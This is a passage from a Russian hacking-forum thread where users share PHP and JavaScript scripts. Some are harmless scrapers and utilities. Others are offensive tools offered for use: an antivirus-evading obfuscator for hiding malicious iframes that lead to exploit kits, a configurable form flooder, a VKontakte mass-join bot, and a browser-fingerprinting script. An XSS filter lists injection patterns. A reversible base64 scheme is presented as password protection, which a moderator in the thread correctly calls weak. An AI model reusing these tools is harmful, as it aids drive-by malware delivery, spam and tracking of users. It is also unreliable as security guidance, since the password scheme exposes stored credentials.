Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. cren

    cren Member

    Joined:
    5 May 2009
    Messages:
    250
    Likes Received:
    28
    Reputations:
    1
    PHP:
    <?php
    $page 
    = isset($_GET['dom'])    ?    $_GET['dom']    :    '';
    $s file_get_contents('http://wtools.biz/whois/?domain='.$page.'');
    $matches explode('<p><b>'$s);
    $matches explode('Что'$matches[1]);
    echo 
    $matches[0];
    // waketwo.ru
    // xyuha.ru
    ?>
    Незнаю даже как назвать, но скрипт типа граббер whois сервиса...

    Для просмотра инфы о домене нужна зайти на скрипт.php ?dom=ДОМЕН КОТОРЫЙ ХАТИМ ПРОСМОТРЕТЬ

    P.S. Скрипт писал под ICQ бота, поэтому нету полей ввода и т.д.
     
  2. cren

    cren Member

    Joined:
    5 May 2009
    Messages:
    250
    Likes Received:
    28
    Reputations:
    1
    PHP:
    <?php

    // Автор: wake2(cren)
    // ICQ: 170-6-177
    // БЛОГ: http://waketwo.ru/
    // ВАРЕЗ ПОРТАЛ: http://xyuha.ru/
    $www rand(1404621);
    $fp file_get_contents('http://bash.org.ru/quote/'.$www.'');
    $matches explode('<div>'$fp);
    $matches explode('</div>'$matches[1]);
    echo 
    $matches[0];
    ?>

    Выводит рандомную цитату с баш.орг.ру
     
    1 person likes this.
  3. cren

    cren Member

    Joined:
    5 May 2009
    Messages:
    250
    Likes Received:
    28
    Reputations:
    1
    PHP:
    <?php

    // Автор: wake2(cren)
    // ICQ: 170-6-177

    $r rand(14626);
    $fp file_get_contents('http://nya.sh/post/'.$r.'');
    $matches explode('</i></div>'$fp);
    $matches explode('</div>'$matches[1]);
    echo 
    $matches[0];


    ?>

    Скрипт выводит рандомную цитату с НЯШ'a (nya.sh)
     
    #883 cren, 25 Sep 2009
    Last edited: 25 Sep 2009
    1 person likes this.
  4. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    320
    Likes Received:
    356
    Reputations:
    18
    По-моему, больше пропиарить ресурсы хотел, чем скрипт написать
     
    4 people like this.
  5. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,093
    Likes Received:
    459
    Reputations:
    38
    Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите.

    Code:
    sub gender # 1 - woman; 0 - man
    {
    	my ($name) = @_;
    
    	return 1 if $name=~"я\$";
    	return 1 if $name=~"а\$";
    	return 1 if $name=~"о\$";
    	return 1 if $name=~"ы\$";
    	return 1 if $name=~"э\$";
    	return 1 if $name=~"е\$";
    	
    	return 1 if $name=~"a\$";
    	return 1 if $name=~"o\$";
    	return 1 if $name=~"i\$";
    	return 1 if $name=~"e\$";
    	
    	return 1 if $name=~"Я\$";  # shit
    	return 1 if $name=~"А\$";
    	return 1 if $name=~"О\$";
    	return 1 if $name=~"Ы\$";
    	return 1 if $name=~"Э\$";
    	return 1 if $name=~"Е\$";
    	
    	return 1 if $name=~"A\$";
    	return 1 if $name=~"E\$";
    	return 1 if $name=~"O\$";
    	return 1 if $name=~"I\$";
    
    	return 0;
    }
    ЗЫ. на самом деле я perl не знаю, так что говнокод тут явный.
     
    4 people like this.
  6. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    460
    Likes Received:
    161
    Reputations:
    3
    скрипт для добавления юзера в группы и встречи по диапазону. Диапазону групп и встреч. диапазон для групп и встреч один и тотже

    вот скрипт

    PHP:
     <form method="POST"> 
    <center> 
    Email:<input type="text" name="email"><br> 
    Pass:<input type="text" name="pass"><br> 
    Стартовать с ID:<input type="text" name="start"><br> 
    Закончить на ID:<input type="text" name="end"><br> 
    Таймаут:<input type="text" name="sleep"><br> 
    <input type=submit value="НАчать РАботать!!!"></center> 

    <?php 
    set_time_limit
    (0); 

    function 
    curl($url,$post

    $cfile 'cookies.txt'
    $ch curl_init(); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_URL$url); 
    curl_setopt($chCURLOPT_HEADER0); 
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    curl_setopt($chCURLOPT_POST1); 
    $result curl_exec($ch); 
    curl_close($ch); 
    return 
    $result
    }; 

    $start $_POST['start']; 
    $end $_POST['end']; 
    $email $_POST['email']; 
    $pass $_POST['pass']; 
    $sleep $_POST['sleep']; 

    if(!
    $email||!$pass||!$start||!$end||!$sleep){exit;  } 

        for(
    $i=$start$i<=$end$i++) 

    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
    $result curl("http://vkontakte.ru/club".$i,""); 
        
    preg_match_all ('#</li><li><a href=\'(.*)\'>#iU'$result$regs); 
        
    $ssil $regs[1][0]; 
    $result curl("http://vkontakte.ru".$ssil,""); 

    $result curl("http://vkontakte.ru/events.php?act=s&gid=".$i,""); 
        
    preg_match_all ('#<a href=\"events\.php\?act=enter\&gid=(.*)\">#iU'$result$regs); 
        
    $ssil $regs[1][0]; 
    $result curl("http://vkontakte.ru/events.php?act=enter&gid=".$ssil,""); 
    sleep($sleep); 

    ?> 
     
    6 people like this.
  7. [aCR]RASSVET

    [aCR]RASSVET New Member

    Joined:
    27 Apr 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    2 PHP-функции для работы с изображениями.
    Представляю вашему вниманию 2 полезных PHP-функции для работы с картинками.
    Одна из них позволяет пропорционально уменьшать размеры картинки, вторая - проверять картинку на валидность (защита от XSS-атак).

    Пропорциональное уменьшение размеров изображения:
    PHP:
    <?php

    /** Универсальный ресайз картинок
      *
      * Функция позволяет копировать изображение,
      * оставляя его исходные характеристики или
      * изменяя его размер и/или качество.
      * При изменении размера сохраняются пропорции.
      *
      * Функция умеет работать с изображениями
      * следующих форматов: JPG, PNG, GIF.
      *
      * Параметры:
      * @ $from        - путь к изображению, над которым будут выполняться операции
      * @ $to        - путь к результирующему изображению
      * @ $maxwidth    - максимальная ширина изображения
      * @ $maxheight    - максимальная высота изображения
      * @ $quality    - качество картинки (0..100) (для JPG и PNG)
      *
      * Возвращаемые значения:
      * false    - во время выполнения произошла ошибка
      * true    - функция выполнилась успешно и без ошибок
      *
      * Автор:
      * @name    Валерий 'Figaroo' Киркиж
      * @url    http://figaroo.ru/
      * @email    mail@figaroo.ru
    */
    function figaroo_resize_image ($from$to$maxwidth$maxheight$quality 80) {
            
    // защита от Null-байт уязвимости PHP
            
    $from preg_replace('/\0/uis'''$from);
            
    $to preg_replace('/\0/uis'''$to);

            
    // информация об изображении
            
    $imageinfo = @getimagesize($from);
            
    // если получить информацию не удалось - ошибка
            
    if (!$imageinfo) return false;
            
    // получаем параметры изображения
            
    $width $imageinfo[0];        // ширина
            
    $height $imageinfo[1];    // высота
            
    $format $imageinfo[2];    // ID формата (число)
            
    $mime $imageinfo['mime'];    // mime-тип

            // определяем формат и создаём изображения
            
    switch ($format) {
                case 
    2$img imagecreatefromjpeg($from); break;    // jpg
                
    case 3$img imagecreatefrompng($from); break;    // png
                
    case 1$img imagecreatefromgif($from); break;    // gif
                
    default: return false; break;
            }
            
    // если создать изображение не удалось - ошибка
            
    if (!$img) return false;

            
    // меняем размеры изображения
            
    $newwidth $newheight 0;
            
    // требуется квадратная картинка
            
    if ($maxwidth == $maxheight) {
                
    // размеры картинки больше по X и по Y
                
    if ($width $maxwidth && $height $maxheight) {
                    
    // пропорции картинки одинаковы
                    
    if ($width == $height) {
                        
    $newwidth $maxwidth;
                        
    $newheight $maxheight;
                    }
                    
    // ширина больше
                    
    elseif ($width $height) {
                        
    $newwidth $maxwidth;
                        
    $newheight intval(((float)$newwidth / (float)$width) * $height);
                    }
                    
    // высота больше
                    
    else {
                        
    $newheight $maxheight;
                        
    $newwidth intval(((float)$newheight / (float)$height) * $width);
                    }
                }
                
    // размеры картинки больше только по X
                
    elseif ($width $maxwidth) {
                    
    $newwidth $maxwidth;
                    
    $newheight intval(((float)$newwidth / (float)$width) * $height);
                }
                
    // размеры картинки больше только по Y
                
    elseif ($height $maxheight) {
                    
    $newheight $maxheight;
                    
    $newwidth intval(((float)$newheight / (float)$height) * $width);
                }
                
    // в остальных случаях ничего менять не надо
                
    else {
                    
    $newwidth $width;
                    
    $newheight $height;
                }
            }
            
    // требуется горизонтальная картинка
            
    elseif ($maxwidth $maxheight) {
                
    // размеры картинки больше по X и по Y
                
    if ($width $maxwidth && $height $maxheight) {
                    
    // ширина больше
                    
    if ($width $height) {
                        
    $newwidth $maxwidth;
                        
    $newheight intval(((float)$newwidth / (float)$width) * $height);
                    }
                    
    // высота больше или равна ширине
                    
    else {
                        
    $newheight $maxheight;
                        
    $newwidth intval(((float)$newheight / (float)$height) * $width);
                    }
                }
                
    // размеры картинки больше только по X
                
    elseif ($width $maxwidth) {
                    
    $newwidth $maxwidth;
                    
    $newheight intval(((float)$newwidth / (float)$width) * $height);
                }
                
    // размеры картинки больше только по Y
                
    elseif ($height $maxheight) {
                    
    $newheight $maxheight;
                    
    $newwidth intval(((float)$newheight / (float)$height) * $width);
                }
                
    // в остальных случаях ничего менять не надо
                
    else {
                    
    $newwidth $width;
                    
    $newheight $height;
                }
            }
            
    // требуется вертикальная картинка
            
    elseif ($maxwidth $maxheight) {
                
    // размеры картинки больше по X и по Y
                
    if ($width $maxwidth && $height $maxheight) {
                    
    // ширина больше или равна высоте
                    
    if ($width >= $height) {
                        
    $newwidth $maxwidth;
                        
    $newheight intval(((float)$newwidth / (float)$width) * $height);
                    }
                    
    // высота больше
                    
    else {
                        
    $newheight $maxheight;
                        
    $newwidth intval(((float)$newheight / (float)$height) * $width);
                    }
                }
                
    // размеры картинки больше только по X
                
    elseif ($width $maxwidth) {
                    
    $newwidth $maxwidth;
                    
    $newheight intval(((float)$newwidth / (float)$width) * $height);
                }
                
    // размеры картинки больше только по Y
                
    elseif ($height $maxheight) {
                    
    $newheight $maxheight;
                    
    $newwidth intval(((float)$newheight / (float)$height) * $width);
                }
                
    // в остальных случаях ничего менять не надо
                
    else {
                    
    $newwidth $width;
                    
    $newheight $height;
                }
            }

            
    // если изменений над картинкой производить не надо - просто копируем её
            
    if ($newwidth == $width && $newheight == $height && $quality == 80) {
                if (
    copy($from$to)) return true;
                else return 
    false;
            }

            
    // создаём новое изображение
            
    $new imagecreatetruecolor($newwidth$newheight);
            
    $black imagecolorallocate($new000);
            
    $white imagecolorallocate($new255255255);
            
    // копируем старое в новое с учётом новых размеров
            
    imagefilledrectangle($new00$newwidth 1$newheight 1$white);
            
    //imagecolortransparent($new, $white);
            
    imagecopyresampled($new$img0000$newwidth$newheight$width$height);
            
    // создаём файл с новым изображением
            
    switch ($format) {
                case 
    2// jpg
                    
    if ($quality 0$quality 0;
                    if (
    $quality 100$quality 100;
                    
    imagejpeg($new$to$quality);
                break;
                case 
    3// png
                    
    $quality intval($quality 100);
                    if (
    $quality 0$quality 0;
                    if (
    $quality 9$quality 9;
                    
    imagepng($new$to$quality);
                break;
                case 
    1// gif
                    
    imagegif($new$to);
                break;
            }
            return 
    true;
    }

    ?>
    Проверка на валидность:
    PHP:
    <?php

    // функция проверки изображения на валидность (защита от XSS-атак)
    function verify_image ($file) {
        
    // защита от Null-байт уязвимости PHP
        
    $file preg_replace('/\0/uis'''$file);
        
    // проверка изображения
        
    $txt file_get_contents($file);
        if (
    preg_match('#&(quot|lt|gt|nbsp|amp);#i'$txt)) return false;
        elseif (
    preg_match("#&\#x([0-9a-f]+);#i"$txt)) return false;
        elseif (
    preg_match('#&\#([0-9]+);#i'$txt)) return false;
        elseif (
    preg_match("#([a-z]*)=([\`\'\"]*)script:#iU"$txt)) return false;
        elseif (
    preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU"$txt)) return false;
        elseif (
    preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU"$txt)) return false;
        elseif (
    preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU"$txt)) return false;
        elseif (
    preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU"$txt)) return false;
        elseif (
    preg_match("#</*(applet|link|style|script|iframe|frame|frameset)[^>]*>#i"$txt)) return false;
        return 
    true;
    }

    ?>
     
    2 people like this.
  8. [aCR]RASSVET

    [aCR]RASSVET New Member

    Joined:
    27 Apr 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    Скрипт сбора информации о пользователе.
    Code:
    <script type="text/javascript">  
    var browserId = '', b_id1 = '', b_id2 = '', userInf = '';  
    </script>  
    <script type="text/javascript">  
    var jsversion = '';  
    for (var i = 1; i < 10; i++) document.write('<' + 'script language="javascript1.' + i + '">jsversion = "' + i + '";<' + '/script>');  
    b_id1 += jsversion + ''; var b_chk = 'A';  
    </script>  
    <script type="text/vbscript">b_chk = "B"</script>  
    <script type="text/javascript">  
    b_id1 += b_chk; b_chk = 'B';  
    try {delete this} catch (E) {b_chk = 'A'}  
    b_id1 += b_chk; b_chk = 'B';  
    try {delete navigator} catch (E) {b_chk = 'A'}  
    b_id1 += b_chk; b_chk = '0';  
    if (typeof Window == 'function') {if (window instanceof Window) {b_chk = '1';}}  
    b_id1 += b_chk; b_chk = '0';  
    if (typeof Document == 'function') {if (document instanceof Document) {b_chk = '1'}}  
    b_id1 += b_chk; b_chk = '0';  
    if (typeof Navigator == 'function') {if (navigator instanceof Navigator) {b_chk = '1'}}  
    b_id1 += b_chk; b_chk = 'B';  
    try {var docwrite = document.write; docwrite('')} catch (E) {b_chk = 'A'}  
    b_id1 += b_chk;  
    b_chk = 'A';  
    try {eval('cons'+'t acons=true');} catch(e) {b_chk = 'B'}  
    b_id1 += b_chk;  
    </script>  
    <script type="text/javascript">  
    if (window.crypto) {if (window.crypto.alert) {b_id1 = b_id1 + '1'}} else {b_id1 = b_id1 + '0'}  
    </script>  
    <script type="text/javascript">  
    if (typeof window.onload == "function") {  
    var chkonload = window.onload.toString();  
    var isonloadanonymous = (chkonload.search('anonymous') != -1);  
    if (isonloadanonymous) {b_id1 += '2'} else {b_id1 += '1'}  
    } else {b_id1 += '0'}  
    var actxobj = (typeof ActiveXObject == "function") ? 'B' : 'A';  
    var gactxobj = (typeof GeckoActiveXObject == "function") ? 'A' : 'B';  
    b_id1 += actxobj + gactxobj;  
    </script>  
    <script type="text/javascript">  
    var dopBrowserInfo = new function (ie) {  
    var d = document, w = window;  
    this.ff = !!w.Iterator && !!d.addEventListener && /a/[-1] == 'a';  
    this.ff2 = this.ff && (function x(){})[-6] == 'x';  
    this.ff3 = !!d.getElementsByClassName && this.ff && (function x(){})[-5] == 'x';  
    this.ie = (ie && '\v' == 'v');  
    this.ie5 = this.ie && ie == 5;  
    this.ie6 = this.ie && (ie == 6 || (d.compatMode && d.all && !!d.readyState));  
    this.ie7 = this.ie && (ie == 7 && d.documentElement && typeof d.documentElement.style.maxHeight != "undefined");  
    this.ie8 = this.ie && (ie == 8 && !!d.querySelectorAll);  
    this.safari = /a/.__proto__ == '//';  
    this.chrome = /source/.test((/a/.toString + ''));  
    this.opera = (!ie && !!w.opera && w.opera.toString() === "[object Opera]" && /^function \(/.test([].sort));  
    var div = d.createElement('div'),  
    body = d.body;  
    div.innerHTML = '<' + 'style' + '>' + '#_t{display:none;}#_t[rel^="D"]{display:block;}' + '<' + '/style' + '>';  
    div.innerHTML += '<span id="_t" rel="Detect"></span>';  
    div.style.display = 'none';  
    body.appendChild(div);  
    var obj = d.getElementById('_t'),  
    stat = w.getComputedStyle ? w.getComputedStyle(obj, null).getPropertyValue("display") : obj.currentStyle ? obj.currentStyle.display : null;  
    this.css3 = (stat == "block");  
    body.removeChild(div);  
    this.result = new String();  
    this.result += (this.ff ? '1' : '0') + (this.ff2 ? '1' : '0') + (this.ff3 ? '1' : '0') + '.';  
    this.result += (this.ie ? '1' : '0') + (this.ie5 ? '1' : '0') + (this.ie6 ? '1' : '0') +  (this.ie7 ? '1' : '0') + (this.ie8 ? '1' : '0') + '.';  
    this.result += (this.safari ? '1' : '0') + (this.chrome ? '1' : '0') + (this.opera ? '1' : '0') + (this.css3 ? '1' : '0');  
    }(0 /*@cc_on + (@_jscript_version * 10 % 10) @*/);  
    b_id2 = dopBrowserInfo.result;  
    delete dopBrowserInfo;  
    </script>  
    <script type="text/javascript">  
    if (window.screen.width && window.screen.height) {  
    userInf += window.screen.width + '*' + window.screen.height;  
    if (window.screen.colorDepth) userInf += '@' + window.screen.colorDepth;  
    } else userInf += 'undefined';  
    if (navigator.systemLanguage) userInf += ' ' + navigator.systemLanguage; else userInf += ' no';  
    if (navigator.browserLanguage) userInf += ' ' + navigator.browserLanguage; else userInf += ' no';  
    if (navigator.userLanguage) userInf += ' ' + navigator.userLanguage; else userInf += ' no';  
    if (navigator.javaEnabled()) userInf += ' yes'; else userInf += ' no';  
    </script>  
    <script type="text/javascript">  
    browserId = b_id1 + ' ' + b_id2 + ' ' + userInf;  
    document.write(browserId);  
    </script>
     
  9. [aCR]RASSVET

    [aCR]RASSVET New Member

    Joined:
    27 Apr 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    Универсальный флудер на PHP.

    PHP:
    <?php
    /*
    * Figaroo Multi-purpose Flooder v1.0
    *
    * Описание: универсальный флудер
    * Требования: разрешение на работу с сокетами
    * Автор - Figaroo, http://figaroo.ru/
    */

    // неограниченное время выполнения скрипта
    set_time_limit(0);

    // настройки
    define('URL''POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
    define('TIMES'3); // количество сообщений, которых требуется отправить
    define('ANTIFLOOD'5); // время задержки (антифлуда), в секундах
    define('COOKIES''param1=a; param2=b'); // кукисы
    define('REFERER''http://localhost/poligon/global_flooder/test.php'); // реферер
    define('USERAGENT''Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
    define('RNDVAR''<VAR>'); // случайный текст будет подставлен вместо этого

    // данные для отправки методом GET
    // <VAR> будет заменено на случайное значение
    $GET_DATA = array(
        
    'text' => 'Привет всем!',
    );

    // данные для отправки методом POST
    // <VAR> будет заменено на случайное значение
    $POST_DATA = array(
        
    'message' => 'Тест. message =) [<VAR>]',
        
    'test' => '123',
    );

    // флудим
    $count 0// счётчик отправленных сообщений
    $url explode(' 'URL);
    $method $url[0];
    $url parse_url($url[1]);
    if (!@
    $url['port']) $url['port'] = 80;
    $GET_DATA array_function('rnd_var_handl'$GET_DATA);
    $GET_DATA $GET_DATA http_build_query($GET_DATA) : '';
    $POST_DATA array_function('rnd_var_handl'$POST_DATA);
    $POST_DATA $POST_DATA http_build_query($POST_DATA) : '';

    // отправка сообщений в цикле
    for ($i 0$i TIMES$i++) {
        
    $fp = @fsockopen(@$url['host'], @$url['port'], $errno$errstr10);
        if (!
    $fp) continue;
        
    // формируем заголовки запроса:
        
    $req $method." ".@$url['path'].($GET_DATA '?'.$GET_DATA '')." HTTP/1.1\r\n";
        
    $req .= "Host: ".@$url['host']."\r\n";
        if (
    USERAGENT$req .= "User-agent: ".USERAGENT."\r\n";
        if (
    COOKIES$req .= "Cookie: ".COOKIES."\r\n";
        if (
    REFERER$req .= "Referer: ".REFERER."\r\n";
        if (
    $method == "POST") {
            
    $req .= "Content-type: application/x-www-form-urlencoded\r\n";
            
    $req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
        }
        
    // отсылаем запрос
        
    $req .= "\r\n";
        if (
    $method == 'POST'$req .= $POST_DATA;
        
    fwrite($fp$req);
        
    fclose($fp);
        
    $count++;
        
    // ждём $antiflood микросекунд и повторяем цикл
        
    if (ANTIFLOODsleep(ANTIFLOOD 1);
    }

    // замена "случайной" переменной
    function rnd_var_handl ($data) {
        return 
    str_replace(RNDVARmd5(microtime(1)), $data);
    }

    // рекурсивная обработка массивов
    function array_function ($func$array) {
        if (!
    is_array($array)) return call_user_func($func$array);
        foreach (
    $array as $k => $v) {
            if (
    is_array($v)) $array[$k] = array_function($func$v);
            else 
    $array[$k] = call_user_func($func$v);
        }
        return 
    $array;
    }

    ?>
    <html>
    <body>
    <b>Отчёт:</b>

    <ul>
    <li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
    <li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
    <li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
    <li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
    </ul>
    <i>Figaroo Multi-purpose Flooder v1.0</i>

    </body>
    </html>
     
  10. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Проверка статуса ICQ с использованием библиотеки Curl
    Found

    PHP:
    <?php
    class ICQ {
      
     var 
    $crc = array('253889085' => 'offline''1177883536' => 'online''1182613274' => 'hidden');
    //CRCs valid as long as the redirect-page does not change
      
     
    function getCrc($url) {
       
    $ch curl_init();
       
    curl_setopt ($chCURLOPT_URL$url);
       
    curl_setopt ($chCURLOPT_HEADER0);
       
    ob_start();
       
    curl_exec ($ch);
       
    curl_close ($ch);
       
    $cache ob_get_contents();

       
    ob_end_clean();
       
    //print($cache);
       
    return (string)abs(crc32($cache));
     }
      
     function 
    status($number) {
       
    $check $this->getCrc'http://status.icq.com/online.gif?icq=' $number '&img=5');
       if (
    in_array($checkarray_keys($this->crc))) {
         return 
    $this->crc[$check];
       }
       return 
    false;
     }
        
    }
    ?>
     
    1 person likes this.
  11. r00nix

    r00nix Banned

    Joined:
    7 May 2009
    Messages:
    48
    Likes Received:
    20
    Reputations:
    0
    Навеяло

    Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест.
    PHP:
    <?PHP
    srand
    ();
    function 
    rvn()
        {
        
    $i=rand(4,6);
        while (
    strlen($a)<$i)
            
    $a.=chr(rand(97,122));
        return 
    $a;
        }

    function 
    gen_iframe($iframe)
        {
        
    $var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn());
        
    $xor=rand(40,100);
        if (isset(
    $iframe) && $iframe!="")
            {
            
    $vxod="document.write(\"$iframe\")";
            for (
    $i=0;$i<strlen($vxod);$i++)
                
    $a.=(ord(substr($vxod,$i,1))^$xor).",";
            echo 
    "<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n";
            }
        else echo 
    "Input any text into ^^^these^^^ box and press the button.\n";
        }
    ?>
    <html>
    <head>
    <title>Mini-JSobfuscator</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    </head>
    <body>
    <form method="post">
    <table width="40%"  border="0" align="center">
    <tr>
    <td width="26%"><div align="center">Code:</div></td>
    </tr>
    <tr>
    <td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td>
    </tr>
    <tr>
    <td colspan="3" nowrap><hr></td>
    </tr>
    <tr>
    <td><div align="center">
    <textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea>
    </div>
    </td>
    </tr>
    <tr>
    <td><div align="right">
    <input type="submit" value="Obfuscate">
    </div></td>
    </tr>
    </table>
    </form>
    <br>
    </body>
    </html>
    Многие антивирусы просто не замечают переобъявления функций в JS.
     
    4 people like this.
  12. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    484
    Likes Received:
    380
    Reputations:
    49
    2-е простые функции для за/расшифровки паролей.
    Писал для своего блога т.к. хранить пасы в чистом виде - небезопасно.
    Алгоритм действий :
    1. base64_encode;
    2. убираем "=" ,чтоб не спалили;
    3. добавляем base64_encode первых 3-х символов;
    4. Переворачиваем.
    функии:
    PHP:
    function code($pass)
    {
    $hash=base64_encode($pass);
    $hash=str_replace('=','',$hash);
    $center=base64_encode(substr($hash,0,3));
    $center=str_replace('=','',$center);
    $count=strlen($hash);
    $cn=round($count/2);
    $first=substr($hash,0,$cn);
    $second=substr($hash,$cn,$count);
    $hash=$first.$center.$second;
    $hash=strrev($hash);
    return 
    $hash;
    }

    function 
    decode($pass)
    {
    $pass=strrev($pass);
    $count=(strlen($pass))-4;
    $cn=round($count/2);
    $first=substr($pass,0,$cn);
    $second=substr($pass,$cn+4,$count+4);
    $pass=$first.$second;
    $pass=$pass.'==';
    $hash=base64_decode($pass);
    return 
    $hash;
    }
    релиз:
    PHP:
     <html>

    <head>
      <title>приветы от liga</title>
    <style>
    body{
        background:#333;
        color:#888;
        font-family:Verdana, Arial;
        font-size:11px;
        padding:0px;
        margin:0px;
        }
     .form {
         background:#232323;
         color:#626262;
         border:1px solid #4e4e4e;
          padding:2px;
          color:#999;
          font-family:Verdana, Arial;
          font-size:11px;
          font-color:green;
          color:#727272;
          }
     h2{
         font-size:11px;
         padding:0px 0px;
         color:#777;
         font-size:18px;
         font-weight:200;
         text-align:center;
         }
    </style>
    </head>
    <body bgcolor="black">
    <center><h2>[Code-decodE]</h2></center>
    &nbsp;1. base64_encode; <br/>
    &nbsp;2. убирает "=" ,чтоб не спалили;<br/>
    &nbsp;3. добавляет  base64_encode первых 3-х символов; <br/>
    &nbsp;4. Переворачивае.</br>
    <pre>
    <?php

    if($_POST['do'] and $_POST['text']){
    $text=trim($_POST['text']);


    }



    function 
    code($pass)
    {
    $hash=base64_encode($pass);
    $hash=str_replace('=','',$hash);
    $center=base64_encode(substr($hash,0,3));
    $center=str_replace('=','',$center);
    $count=strlen($hash);
    $cn=round($count/2);
    $first=substr($hash,0,$cn);
    $second=substr($hash,$cn,$count);
    $hash=$first.$center.$second;
    $hash=strrev($hash);
    return 
    $hash;
    }

    function 
    decode($pass)
    {
    $pass=strrev($pass);
    $count=(strlen($pass))-4;
    $cn=round($count/2);
    $first=substr($pass,0,$cn);
    $second=substr($pass,$cn+4,$count+4);
    $pass=$first.$second;
    $pass=$pass.'==';
    $hash=base64_decode($pass);
    return 
    $hash;
    }
    if(
    strlen($text)<=3){
        echo 
    '<script>alert("strlen(',$text,')<=3")</script>';
        
    $hash='пусто';
        }

     if(!
    $hash)
    {
        
    $hash='пусто';
    }

    switch ( 
    $_REQUEST['ctype']) {
       case 
    0:
       
    $hash=code($text);
     break;

     case 
    1:
     
    $hash=$text;
    break;
      }
    echo 
    '&nbsp;зашифрованный пасс:   <font color="green">'$hash,'</font>';
    echo 
    '<br/>&nbsp;расшифрованный пасс:  <font color="green">',decode($hash),'</font>';
    ?>
    <form name="" action="" method="post">

    &nbsp;<input  name='ctype' type="radio" value="0" checked>[зашифровать]<input  name='ctype' type="radio" value="1" checked>[расшифровать]
    &nbsp;<input class="form" name="text" type="text" value=""><input class="form" name="do" type="submit" style="height:17px;" value="do it">
    </form>
    </pre>
    </body>
    </html>
     
    #892 L I G A, 9 Oct 2009
    Last edited: 9 Oct 2009
    2 people like this.
  13. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,986
    Likes Received:
    867
    Reputations:
    198
    L I G A
    а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
     
    _________________________
    1 person likes this.
  14. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    484
    Likes Received:
    380
    Reputations:
    49
    ну для начала его надо получить , я не утверждаю что у меня стоит именно такой алгоритм.
    мд5 нельзя сбрутить?
     
    #894 L I G A, 9 Oct 2009
    Last edited: 9 Oct 2009
  15. [Dezzter]

    [Dezzter] Elder - Старейшина

    Joined:
    26 Nov 2007
    Messages:
    184
    Likes Received:
    132
    Reputations:
    3
    а разве можно? :D я думал хешики брутят, а не расшифровывают)
     
  16. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    484
    Likes Received:
    380
    Reputations:
    49
    хеши - брутят , я написал "расшифровуют" т.к. просто именно это слово наиболее понятно подходит по смыслу.
     
    #896 L I G A, 9 Oct 2009
    Last edited: 10 Oct 2009
    1 person likes this.
  17. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    501
    Likes Received:
    284
    Reputations:
    92
    Перестаньте придираться к словам, что мешает добавить в функцию еще и для генерации хэша из этого base64 и ложить в БД хэш, или обратно его прогнать таким образом.
     
    3 people like this.
  18. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    280
    Likes Received:
    179
    Reputations:
    4
    Спс............
    да и врядле ктото при взломе будет искать именно эту тему и именно этот алгоритм
     
  19. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    1,986
    Likes Received:
    867
    Reputations:
    198
    Почитай на досуге что значит "расшифровать" и что значит "сбрутить" и что такое "хэш".
    ИМХО (это значит МОЁ мнение, я его не навязываю) лучше использовать алгоритмы типа мд5 т.к. РАСШИФРОВАТЬ невозможно, возможно сбрутить. А всякие извраты не являются хорошей защитой, т.к. рано или поздно алгоритм твоего "хэширования" может стать известен третьему лицу и тогда можно будет получить ВСЕ пароли, в отличии от мд5 в котором есть возможность брутить хэш а есть возможность и не сбрутить))

    ЗЫ Хэширование - необратимое шифрование.
     
    _________________________
    1 person likes this.
  20. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
